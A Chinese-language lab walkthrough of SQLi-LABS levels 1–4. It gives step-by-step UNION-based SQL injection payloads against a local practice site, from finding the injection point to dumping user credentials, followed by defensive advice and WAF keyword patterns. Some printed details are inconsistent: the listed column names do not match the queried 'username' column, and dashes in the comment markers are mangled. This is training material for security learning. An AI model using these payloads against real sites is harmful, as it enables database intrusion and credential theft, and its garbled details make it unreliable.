SQLi-LABS UNION 注入通关详解 (Less 1-4)
Less 1-4 都是基于 UNION 的 GET 型注入,核心攻击流程完全相同,唯一区别是闭合方式:
| Less-1 | 字符串型 | ' | ?id=1' order by 3 –+ |
| Less-2 | 整型 | 无引号 | ?id=1 order by 3 –+ |
| Less-3 | 字符串型 | ') | ?id=1') order by 3 –+ |
| Less-4 | 双引号型 | ") | ?id=1") order by 3 –+ |
学习目标: 掌握识别不同闭合方式的方法,理解参数类型对注入的影响。
通用攻击流程
所有 UNION 注入的标准步骤:
Less-1: 字符串型注入 (单引号闭合)
关卡信息
- 闭合方式: 单引号 '
- 后端SQL: SELECT * FROM users WHERE id='$id' LIMIT 0,1
- 难度: 基础
闯关目标
通过SQL注入漏洞获取数据库中的敏感信息,包括数据库名、表名、列名和用户数据。
闯关步骤
步骤1: 测试注入点
访问URL: http://localhost/sqli-labs-master/Less-1/?id=1
正常访问显示:
Your Login name: Dumb
Your Password: Dumb

测试注入: http://localhost/sqli-labs-master/Less-1/?id=1'
页面报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

结论: 存在SQL注入漏洞,参数未正确过滤。
步骤2: 判断闭合方式
测试URL: http://localhost/sqli-labs-master/Less-1/?id=1' –+
页面恢复正常显示:
Your Login name: Dumb
Your Password: Dumb

分析:
- 单引号 ' 用于闭合原SQL语句中的字符串
- –+ 是SQL注释符,注释掉后面的内容(+ 是空格的URL编码)
- 原SQL语句大致为: SELECT * FROM users WHERE id='1' LIMIT 0,1
结论: 注入点使用单引号闭合。
步骤3: 判断列数
使用 ORDER BY 语句逐步测试列数。
测试1: http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 –+
- 结果: 页面正常,说明至少有3列

测试2: http://localhost/sqli-labs-master/Less-1/?id=1' order by 4 –+
- 结果: 报错 Unknown column '4' in 'order clause'

结论: 查询结果共有 3列。
步骤4: 查找回显位置
测试URL: http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 –+
页面显示:
Your Login name: 2
Your Password: 3

分析:
- 使用 id=-1 让原查询返回空结果
- UNION SELECT 联合查询显示我们构造的数据
- 第2列和第3列内容会显示在页面上
结论: 第 2 和第 3 位置可以用来回显数据。
步骤5: 获取数据库信息
测试URL: http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,database(),version() –+
页面显示:
Your Login name: security
Your Password: 5.7.26

获取信息:
- 数据库名: security
- MySQL版本: 5.7.26
步骤6: 获取表名
测试URL:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
页面显示:
Your Login name: emails,referers,uagents,users

分析:
- information_schema.tables 是MySQL的系统表,存储所有表的信息
- group_concat() 将多行结果合并为一行
- table_schema=database() 筛选当前数据库的表
获取到的表名:
- emails
- referers
- uagents
- users (重点目标)
步骤7: 获取列名
测试URL:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
页面显示:
Your Login name: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS

获取到的关键列名:
- user_id – 用户ID
- first_name – 名字
- last_name – 姓氏
- user – 用户名
- password – 密码
- avatar – 头像
- last_login – 最后登录时间
- failed_login – 失败登录次数
步骤8: 获取用户数据
测试URL:
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users –+
页面显示:
Your Login name: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1

分析:
- 0x3a 是冒号 : 的十六进制表示,用于分隔用户名和密码
- group_concat() 将所有用户的信息合并显示
获取到的用户凭证:
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
Less-2: 整型注入 (无引号)
关卡信息
- 闭合方式: 无引号,直接拼接
- 后端SQL: SELECT * FROM users WHERE id=$id LIMIT 0,1
- 与 Less-1 区别: 所有 payload 去掉单引号 '
闭合识别过程
测试1: ?id=1' – 依然报错(但原因是多了不该有的引号)
测试2: 整型验证
?id=1 and 1=1 –+ # 正常显示
?id=1 and 1=2 –+ # 不显示数据
结论: 整型注入,不需要引号。
完整攻击流程
与 Less-1 完全相同,只是去掉所有单引号:
# 判断列数
?id=1 order by 3 –+
# 找回显
?id=–1 union select 1,2,3 –+
# 获取数据库信息
?id=–1 union select 1,database(),version() –+
# 获取表名
?id=–1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
# 获取列名
?id=–1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
# 获取数据
?id=–1 union select 1,group_concat(username,0x3a,password),3 from users –+
结果: 成功获取相同的用户数据(9个用户凭证)
Less-3: 字符串型注入 (单引号+括号闭合)
关卡信息
- 闭合方式: ')
- 后端SQL: SELECT * FROM users WHERE id=('$id') LIMIT 0,1
- 与 Less-1 区别: 需要同时闭合单引号和括号
闭合识别过程
测试1: ?id=1' – 报错
You have an error in your SQL syntax near '') LIMIT 0,1'
注意错误信息中有多余的 ),说明后端有括号
测试2: ?id=1') – 报错消失但无数据
测试3: ?id=1') –+ – 正常显示数据
结论: 需要 ') 闭合。
完整攻击流程
所有 Less-1 的 payload,把 ' 改成 '):
# 判断列数
?id=1') order by 3 –+
# 找回显
?id=-1') union select 1,2,3 –+
# 获取数据库信息
?id=–1') union select 1,database(),version() –+
# 获取表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
# 获取列名
?id=–1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
# 获取数据
?id=-1') union select 1,group_concat(username,0x3a,password),3 from users –+
结果: 成功获取数据库 security、表名、列名和用户凭证(与 Less-1/2 相同)。
Less-4: 双引号型注入 (双引号+括号闭合)
关卡信息
- 闭合方式: ")
- 后端SQL: SELECT * FROM users WHERE id=("$id") LIMIT 0,1
- 与 Less-1 区别: 使用双引号和括号
闭合识别过程
测试1: ?id=1' – 正常显示(说明不是单引号)
测试2: ?id=1" – 报错
You have an error in your SQL syntax near '") LIMIT 0,1'
说明是双引号,且有括号
测试3: ?id=1") – 报错消失但无数据
测试4: ?id=1") –+ – 正常显示数据
结论: 需要 ") 闭合。
完整攻击流程
所有 Less-1 的 payload,把 ' 改成 "):
# 判断列数
?id=1") order by 3 –+
# 找回显
?id=-1") union select 1,2,3 –+
# 获取数据库信息
?id=–1") union select 1,database(),version() –+
# 获取表名
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
# 获取列名
?id=–1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
# 获取数据
?id=-1") union select 1,group_concat(username,0x3a,password),3 from users –+
结果: 成功获取数据库 security、表名、列名和用户凭证(与前面关卡完全相同)。
技术总结
UNION 注入核心原理
后端拼接 SQL:
SELECT * FROM users WHERE id=[闭合符号][用户输入][闭合符号] LIMIT 0,1
注入目标: 闭合原查询,注入自己的 SQL 语句。
执行示例:
— 原始查询 (Less-1)
SELECT * FROM users WHERE id='1' LIMIT 0,1
— 注入后
SELECT * FROM users WHERE id='-1' union select 1,2,3 — ' LIMIT 0,1
关键技术点
1. 闭合方式识别
方法: 通过添加不同字符观察报错信息
| ' | near ''1'' LIMIT | 单引号闭合 (Less-1) |
| ' + 逻辑不通 | 无报错或正常 | 可能是整型 (Less-2) |
| ' | near '') LIMIT | 单引号+括号 (Less-3) |
| " | near ") LIMIT | 双引号+括号 (Less-4) |
识别流程:
2. 列数判断
使用 ORDER BY: 逐步增加列数直到报错
?id=1' order by 1 –+ # 正常
?id=1' order by 2 –+ # 正常
?id=1' order by 3 –+ # 正常
?id=1' order by 4 –+ # 报错: Unknown column '4' in 'order clause'
结论: 列数 = 最后一个成功的数字 = 3
3. 回显位置确定
使用 UNION SELECT + 数字标记:
?id=–1' union select 1,2,3 –+
- 使用负数 ID 让原查询返回空结果
- 页面上显示的数字就是回显位置
- Less 1-4 都是第 2 和第 3 列回显
4. 信息获取技巧
利用 information_schema 系统库:
— 获取所有数据库
select schema_name from information_schema.schemata
— 获取当前库的表
select table_name from information_schema.tables where table_schema=database()
— 获取表的列
select column_name from information_schema.columns where table_name='users'
使用 group_concat() 合并结果:
— 不使用 group_concat: 只能看到第一个表名
union select 1,table_name,3 from information_schema.tables
— 使用 group_concat: 一次显示所有表名
union select 1,group_concat(table_name),3 from information_schema.tables
使用的 SQL 函数
| database() | 获取当前数据库名 | select database() → security |
| version() | 获取MySQL版本 | select version() → 5.7.26 |
| user() | 获取当前用户 | select user() → root@localhost |
| group_concat() | 合并多行为一行 | group_concat(table_name) → users,emails,… |
| 0x3a | 冒号 : 的十六进制 | 用于分隔数据 |
| concat() | 拼接字符串 | concat(username,':',password) |
闭合方式速查表
| ?id=1' | 报错 '1'' | 单引号 ' | Less-1 |
| ?id=1' | 报错,且逻辑测试失败 | 整型(无引号) | Less-2 |
| ?id=1' | 报错 '') LIMIT | 单引号+括号 ') | Less-3 |
| ?id=1" | 报错 ") LIMIT | 双引号+括号 ") | Less-4 |
完整 Payload 对比
# ========== Less-1 (字符串型 ') ==========
?id=1' order by 3 –+
?id=-1' union select 1,2,3 –+
?id=–1' union select 1,database(),version() –+
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
?id=–1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users –+
# ========== Less-2 (整型) ==========
?id=1 order by 3 –+
?id=–1 union select 1,2,3 –+
?id=–1 union select 1,database(),version() –+
?id=–1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
?id=–1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
?id=–1 union select 1,group_concat(username,0x3a,password),3 from users –+
# ========== Less-3 (字符串型 ') ==========
?id=1') order by 3 –+
?id=-1') union select 1,2,3 –+
?id=–1') union select 1,database(),version() –+
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
?id=–1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
?id=-1') union select 1,group_concat(username,0x3a,password),3 from users –+
# ========== Less-4 (双引号型 ") ==========
?id=1") order by 3 –+
?id=-1") union select 1,2,3 –+
?id=–1") union select 1,database(),version() –+
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
?id=–1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
?id=-1") union select 1,group_concat(username,0x3a,password),3 from users –+
规律总结:
- 攻击流程完全相同
- 只需替换闭合字符: ' → 无 → ') → ")
- 后续所有 SQL 语句完全一致
防御建议
1. 使用预编译语句(最有效)
PHP 示例:
// ✅ 正确 – 防御所有注入类型
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$_GET['id']]);
// ❌ 错误 – 容易被注入
$sql = "SELECT * FROM users WHERE id='$id'";
$sql = "SELECT * FROM users WHERE id=$id";
$sql = "SELECT * FROM users WHERE id=('$id')";
为什么有效:
- 参数和 SQL 语句分离
- 数据库引擎将参数视为数据,不会作为 SQL 代码执行
- 对所有闭合方式都有效
2. 输入验证
// 整型参数强制类型转换
$id = intval($_GET['id']);
// 类型验证
if (!is_numeric($_GET['id'])) {
die('Invalid ID');
}
// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET['id'], $allowed_ids)) {
die('Invalid ID');
}
3. 转义特殊字符
// MySQL 转义
$id = mysqli_real_escape_string($conn, $_GET['id']);
// 注意: 仅转义不够安全,必须配合引号包裹
$sql = "SELECT * FROM users WHERE id='$id'"; // 仍可能被整型注入
局限性: 只能防御字符串型注入,无法防御整型注入。
4. 最小权限原则
— ❌ 不要给 Web 应用数据库用户这些权限:
GRANT ALL PRIVILEGES ON *.* TO 'webapp'@'localhost';
— ✅ 只给必要的权限:
GRANT SELECT, INSERT, UPDATE ON security.users TO 'webapp'@'localhost';
— 禁止访问 information_schema
REVOKE SELECT ON information_schema.* FROM 'webapp'@'localhost';
5. WAF 防护规则
# 检测关键字
union|select|insert|update|delete|drop|–|\\#|\\/\\*
# 检测特殊字符组合
'|"|\\(|\\)|;|=|>|<
# 检测十六进制编码
0x[0-9a-f]+
局限性: 可能被绕过(大小写、编码、注释等)。
6. 错误信息处理
// ❌ 不要在生产环境显示详细错误
mysqli_query($conn, $sql) or die(mysqli_error($conn));
// ✅ 使用统一的错误页面
try {
$stmt->execute();
} catch (PDOException $e) {
error_log($e->getMessage()); // 记录到日志
die('An error occurred'); // 显示通用错误
}
学习总结
✅ 完成进度
- ✅ Less-1: 字符串型 ' 闭合
- ✅ Less-2: 整型(无引号)
- ✅ Less-3: 字符串型 ') 闭合
- ✅ Less-4: 双引号型 ") 闭合
🎯 核心收获
1. UNION 注入本质
- 目标: 闭合原查询 + 注入自己的 SELECT 语句
- 关键: 识别正确的闭合方式
- 流程: 8个标准步骤适用于所有 UNION 注入
2. 闭合方式识别方法
测试 ' " ') ") 等字符
↓
观察错误信息
↓
推测后端 SQL 结构
↓
尝试闭合 + 注释
↓
页面恢复正常 = 识别成功
3. 四关的唯一区别
| Less-1 | ' | WHERE id='$id' |
| Less-2 | 无 | WHERE id=$id |
| Less-3 | ') | WHERE id=('$id') |
| Less-4 | ") | WHERE id=("$id") |
4. 通用攻击模板
# 模板(替换 [闭合] 即可)
?id=1[闭合] order by 3 –+
?id=–1[闭合] union select 1,2,3 –+
?id=–1[闭合] union select 1,database(),version() –+
?id=–1[闭合] union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
?id=–1[闭合] union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' –+
?id=–1[闭合] union select 1,group_concat(username,0x3a,password),3 from users –+
💡 实战建议
附录:常见问题
Q1: 为什么使用 –+ 而不是 –?
URL 中空格会被编码,– 后需要空格才能成为注释。+ 在 URL 中代表空格,所以 –+ = — (注释符+空格)。
Q2: 为什么使用 id=-1 而不是 id=999999?
负数 ID 一般不存在,确保原查询返回空。使用大数字可能碰巧存在该 ID。
Q3: 可以用 # 代替 –+ 吗?
可以,但 # 在 URL 中是锚点符号,需要编码为 %23,即 –+ = # = %23。
Q4: group_concat() 有长度限制吗?
默认最大 1024 字节。可以通过 SET group_concat_max_len = 102400 增加限制。
Q5: 如何判断网站是否使用了预编译?
- 所有闭合测试都无效
- 输入特殊字符不影响查询结果
- 可能存在,但需要其他漏洞(如逻辑漏洞)
Q6: information_schema 被禁止访问怎么办?
- 使用报错注入泄露信息
- 使用时间盲注猜测
- 尝试读取系统文件(load_file())
日期: 2026-07
作者: 闯关记录
实验环境: SQLi-LABS (Windows 10 + MySQL 5.7.26)
声明: 本文仅用于网络安全学习和研究,未经授权请勿用于非法用途。




